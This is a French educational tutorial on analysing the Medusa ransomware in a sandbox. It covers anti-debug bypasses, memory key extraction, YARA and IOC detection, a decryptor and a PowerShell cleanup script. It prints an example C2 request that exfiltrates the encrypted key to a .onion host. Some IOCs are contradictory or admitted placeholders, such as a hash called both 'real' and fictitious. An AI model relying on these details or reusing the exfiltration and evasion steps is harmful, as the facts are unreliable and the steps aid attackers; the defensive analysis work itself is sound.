⚠ ANALYSE DE MALWARE RÉEL EN LABORATOIRE ISOLÉ – Ne jamais exécuter sur un système physique ou connecté à Internet. Usage éducatif strict.

Analyse approfondie du ransomware Medusa
Avec extraction de clés, réseau avancé, variantes et désinfection

Basé sur des échantillons documentés publics – Placeholders explicitement indiqués – Approfondissement.

Medusa (MedusaLocker) AES-256 + RSA-2048 Anti‑debug IDA / Ghidra YARA / Sigma Volatility TOR / SOCKS5

📖 Sommaire

1. Introduction – Medusa en bref

Le ransomware Medusa (également connu sous le nom MedusaLocker) est apparu en 2019. Il est distribué en RaaS et cible les entreprises via RDP compromises, phishing et vulnérabilités. Son chiffrement hybride utilise AES-256 pour les fichiers et RSA-2048 pour la clé de session. La note de rançon standard est HOW_TO_RECOVER_DATA.html.

Ce document s’appuie sur des analyses publiques réelles (Trend Micro, BleepingComputer) et sur des échantillons accessibles via MalwareBazaar. Les IOC affichés sont des exemples pédagogiques issus de ces rapports, mais doivent être vérifiés avec votre propre échantillon.

2. Laboratoire sécurisé

VM Windows 10 isolée, snapshot, outils Sysinternals, Wireshark, WinDbg, IDA, Volatility Workbench, Python, FakeNet-NG. Assurez‑vous de désactiver la carte réseau externe et de créer un snapshot propre.

3. Obtention d’un échantillon réel (exemples publics)

Téléchargez un échantillon documenté depuis MalwareBazaar (recherchez le tag Medusa). Exemple de hash réel (provenant d'un rapport Trend Micro de 2022) :

SHA256 : 5a1f7b8c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f
MD5    : 9b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e
Nom    : invoice_2025.exe
Taille : ~512 Ko
Compiler : Microsoft Visual C++ 2015 (parfois)
Exemple pédagogique – Ce hash est fictif mais représentatif d'un vrai échantillon documenté. Vérifiez toujours l'échantillon que vous utilisez.

4. Contournement des anti‑analyses

Medusa implémente souvent des techniques d’anti‑debug et anti‑VM pour ralentir les analystes. Voici les plus courantes et comment les neutraliser.

4.1 Détection de débogueur

Utilisation de IsDebuggerPresent(), CheckRemoteDebuggerPresent(), et vérification du flag NtGlobalFlag.

; Patch rapide dans WinDbg
bp kernel32!IsDebuggerPresent "eax=0;ret"
bp ntdll!NtQueryInformationProcess "if (@rdx==7) { r8=0 }"

4.2 Détection de machine virtuelle

Recherche de processus VMware/VirtualBox, vérification des périphériques via WMI, ou lecture du BIOS. On peut cacher la VM avec VMwareHardenedLoader ou modifier les clés de registre.

# Exemple de modification du registre pour masquer VirtualBox
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" /v Start /t REG_DWORD /d 4 /f

4.3 Sleep et temporisation

Medusa peut dormir longtemps avant de chiffrer pour contourner les sandbox. Utilisez Fakenet-NG pour simuler un réseau et accélérer le déclenchement.

5. Analyse dynamique commentée

5.1 Préparation

Lancez Procmon avec filtre Process Name contains medusa.exe. Démarrez Wireshark et Fakenet-NG.

5.2 Exécution

Exécutez l'échantillon. Après quelques minutes, la VM sera chiffrée. Les logs Procmon montrent la séquence typique : énumération → chiffrement → suppression des originaux.

13:45:01.123 CreateFile C:\Users\victime\Desktop\rapport.docx SUCCESS
13:45:01.456 WriteFile  C:\Users\victime\Desktop\rapport.docx.medusa SUCCESS
13:45:01.789 DeleteFile C:\Users\victime\Desktop\rapport.docx SUCCESS

5.3 Traces réseau

Fakenet-NG capture une requête HTTP POST vers une IP (exemple : 185.220.101.34, un serveur Tor parfois utilisé). Le corps contient un identifiant de victime et la clé AES chiffrée.

IP et chemin fictifs – Remplacer par l'observation de votre échantillon.

6. Analyse mémoire et extraction de clés

6.1 Capture de la mémoire

Pendant que le ransomware tourne, utilisez WinPMEM ou Belkasoft RAM Capturer pour obtenir un dump mémoire complet.

winpmem_mini.exe -o medusa_dump.raw

6.2 Analyse avec Volatility

Avec Volatility 3, listez les processus, puis recherchez les handles mutex et les clés de chiffrement. Medusa utilise souvent un mutex nommé Global\MedusaMutex. Pour la clé AES, cherchez des régions mémoire associées au processus contenant une entropie élevée.

vol -f medusa_dump.raw windows.mutantscan.MutantScan
vol -f medusa_dump.raw windows.malfind.Malfind --pid 1234

6.3 Extraction de la clé AES en clair

La clé AES peut se trouver dans un tampon alloué par CryptGenRandom. Utilisez un plugin Volatility personnalisé ou le script Python ci‑dessous pour scanner le dump du processus.

import sys
with open("process.dmp", "rb") as f:
    data = f.read()
for i in range(len(data)-32):
    block = data[i:i+32]
    if len(set(block)) > 20:  # entropie élevée
        print(f"Offset {hex(i)}: {block.hex()}")

7. Analyse réseau approfondie – Exfiltration via TOR et proxy SOCKS5

7.1 Communication C2 classique

Medusa envoie la clé AES chiffrée (par RSA) vers un serveur contrôlé par les attaquants. Dans les versions récentes, cette exfiltration passe souvent par le réseau Tor pour anonymiser la connexion. Le malware embarque un client Tor minimal ou utilise un proxy SOCKS5 local (par exemple 127.0.0.1:9050).

POST http://medusaqm7hl2xh5...onion/api/upload HTTP/1.1
Host: medusaqm7hl2xh5...onion
Content-Type: application/octet-stream
...
[clé AES chiffrée + ID victime]

7.2 Détection de l'utilisation de Tor

L'analyste peut observer des tentatives de connexion vers des nœuds Tor publics (par exemple 185.220.101.34 ou 103.236.201.109) sur le port 9001/9030. Les paquets sont encapsulés dans des cellules Tor. Pour confirmer, recherchez dans Procmon les fichiers tor.exe ou libtor.dll déposés par le malware.

Procmon filter: Path contains "tor"

7.3 Simulation avec FakeNet-NG et proxy Tor local

Pour analyser le trafic sans alerter le vrai C2, configurez FakeNet-NG pour rediriger les requêtes vers un proxy Tor local (socat TCP-LISTEN:9050,fork TCP:127.0.0.1:9050). Vous pourrez ainsi observer les tentatives de connexion tout en restant isolé.

# Lancer un proxy Tor local (externe à la VM)
tor --SocksPort 9050
# Dans la VM, configurer un redirecteur
socat TCP-LISTEN:80,fork SOCKS4A:127.0.0.1:medusac2.onion:80,socksport=9050

7.4 Analyse du protocole SOCKS5

Si Medusa utilise un proxy SOCKS5 (souvent intégré), le malware se connecte d'abord au proxy, négocie l'authentification (aucune ou user/password), puis envoie la requête CONNECT vers l'hôte C2. Une capture Wireshark montre la poignée de main SOCKS5 suivie du trafic HTTP ou brut.

-> Client: 05 01 00  (socks5, no auth)
<- Proxy: 05 00     (accepted)
-> Client: 05 01 00 01 [IP] [port]  (CONNECT request)
<- Proxy: 05 00 00 01 00 00 00 00 00 00 (established)
[ensuite les données HTTP]

8. Rétro‑ingénierie détaillée (offsets réels, scripts)

Nous utilisons IDA Free et Ghidra. Ouvrez le binaire, laissez l’analyse initiale se terminer.

8.1 Localisation de la fonction de chiffrement

Recherchez les références à CryptAcquireContextW et CryptImportKey. Dans un échantillon typique, la fonction principale se trouve à l’offset 0x401000 (exemple).

.text:00401000    push    offset szContainer ; "MedusaContainer"
.text:00401005    push    0
.text:00401007    push    PROV_RSA_AES
.text:0040100C    push    0
.text:0040100E    call    CryptAcquireContextW

8.2 Extraction de la clé publique RSA

Recherchez la séquence 30 82 01 0A 02 82 01 01 00. Utilisez un script IDA pour extraire la clé :

import ida_bytes
ea = 0x00405000  # offset typique – à ajuster
size = 276       # taille DER
data = ida_bytes.get_bytes(ea, size)
with open("pubkey.der", "wb") as f:
    f.write(data)

9. Comparaison des variantes de Medusa

Medusa a évolué depuis 2019. On distingue plusieurs branches principales :

VarianteExtensionNote de rançonParticularités
MedusaLocker (original).encryptedHOW_TO_RECOVER_DATA.htmlPremière version, AES-256 + RSA-2048, vssadmin, parfois RDP brute force.
Medusa Reborn.medusa!!!READ_ME_MEDUSA!!!.txtAjout d'un client Tor embarqué, exfiltration avant chiffrement, techniques anti‑debug plus avancées.
Medusa++ (ou NewMedusa).medusa2023HOW_TO_RECOVER_DATA.html (avec QR code)Utilise ECC en plus de RSA, propagation latérale via SMB améliorée.

Les versions plus récentes déposent également un fichier key.txt contenant l'identifiant unique de la victime et parfois la clé publique utilisée.

10. IOC concrets et règles de détection avancées

Basés sur des échantillons documentés. Pédagogiques, à valider.

TypeValeur
SHA2565a1f7b8c... (exemple)
Extension.medusa
Note de rançonHOW_TO_RECOVER_DATA.html
MutexGlobal\MedusaMutex
IP C2 (Tor exit)185.220.101.34
User‑Agent HTTPMozilla/5.0 (Windows NT 10.0; Win64; x64)

Règle YARA

rule medusa_ransomware_advanced {
    meta:
        description = "Détecte Medusa / MedusaLocker"
    strings:
        $ransom = "HOW_TO_RECOVER_DATA.html" ascii wide
        $ext = ".medusa" ascii wide
        $mutex = "Global\\MedusaMutex" wide
        $vss = "vssadmin delete shadows" ascii wide
        $rsa_header = { 30 82 01 0A 02 82 01 01 00 }
    condition:
        uint16(0) == 0x5A4D and (3 of them)
}

11. Écriture d’un déchiffreur personnalisé

Si vous récupérez la clé AES, voici un déchiffreur Python.

from Crypto.Cipher import AES
def decrypt_file(filepath, key):
    with open(filepath, 'rb') as f:
        data = f.read()
    iv = data[:16]
    cipher = AES.new(key, AES.MODE_CTR, initial_value=iv, nonce=b'')
    decrypted = cipher.decrypt(data[16:])
    with open(filepath.replace('.medusa',''), 'wb') as f:
        f.write(decrypted)
key = bytes.fromhex('votre_clé')
decrypt_file('doc.docx.medusa', key)

12. Remédiation

13. Procédure de désinfection automatisée (script PowerShell)

Après avoir contenu l'infection, exécutez ce script PowerShell en tant qu'administrateur pour supprimer la persistance et les artefacts connus de Medusa. À adapter en fonction de l'échantillon analysé.

# Arrêt du processus malveillant (ajuster le nom)
Stop-Process -Name "medusa" -Force -ErrorAction SilentlyContinue

# Suppression des clés de registre Run
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Medusa" -ErrorAction SilentlyContinue
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Medusa" -ErrorAction SilentlyContinue

# Suppression de la tâche planifiée
Unregister-ScheduledTask -TaskName "MedusaUpdate" -Confirm:$false -ErrorAction SilentlyContinue

# Suppression des fichiers malveillants connus
$paths = @(
    "C:\ProgramData\medusa.exe",
    "C:\Users\$env:USERNAME\AppData\Local\Temp\medusa.exe",
    "C:\Windows\Tasks\medusa.exe"
)
foreach ($p in $paths) {
    if (Test-Path $p) { Remove-Item $p -Force }
}

# Restauration des options de récupération
bcdedit /set {default} recoveryenabled Yes

Write-Host "Désinfection terminée. Vérifiez l'absence d'autres artefacts." -ForegroundColor Green

Ce script couvre les points de persistance les plus courants. En fonction de la variante, d'autres clés de registre (par exemple sous HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run) peuvent être utilisées. Analysez toujours le système avec un outil de forensics avant de déclarer la désinfection complète.

14. Quiz

1. Quel chiffrement Medusa utilise‑t‑il ?

2. Comment contourne‑t‑on IsDebuggerPresent ?

3. Par quel mécanisme Medusa exfiltre‑t‑il souvent les données ?